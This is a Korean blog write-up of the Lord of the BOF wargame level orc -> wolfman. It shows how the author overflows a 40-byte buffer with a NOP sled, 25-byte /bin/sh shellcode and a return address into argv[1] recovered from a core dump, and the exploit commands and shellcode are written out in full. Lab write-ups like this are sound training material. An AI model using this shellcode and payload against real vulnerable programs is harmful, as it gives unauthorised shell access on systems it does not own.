[LOB] orc -> wolfman
2018. 3. 30. 17:24
환경변수 파괴 + 버퍼 파괴
memset으로 0값으로 초기화
페이로드 구성... 버퍼 크기가 40이나 있으므로 여기에 쉘코드를 구성해 넣고, argv[1]의 주소를 알아내 거기로 점프하자.
0x01. 가장 기본적으로 쉘을 띄우는 코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
bytes : 25
이 코드를 사용
./wolfman `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf")'`
세그먼트 폴트가 뜨면서 코어덤프가 생성되었다.
코어덤프를 통해서 argv[1]의 주소를 알아냈다.
저기로 점프하자.
payload : ./wolfman `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x2b\xfc\xff\xbf")'`
성공
'Wargame > LOB' 카테고리의 다른 글
[LOB] darkelf -> orge (0) | 2018.03.31 |
---|---|
[LOB] wolfman -> darkelf (0) | 2018.03.31 |
[LOB] goblin -> orc (0) | 2018.03.30 |
[LOB] cobolt -> goblin (0) | 2018.03.30 |
[LOB] gremlin -> cobolt (0) | 2018.03.30 |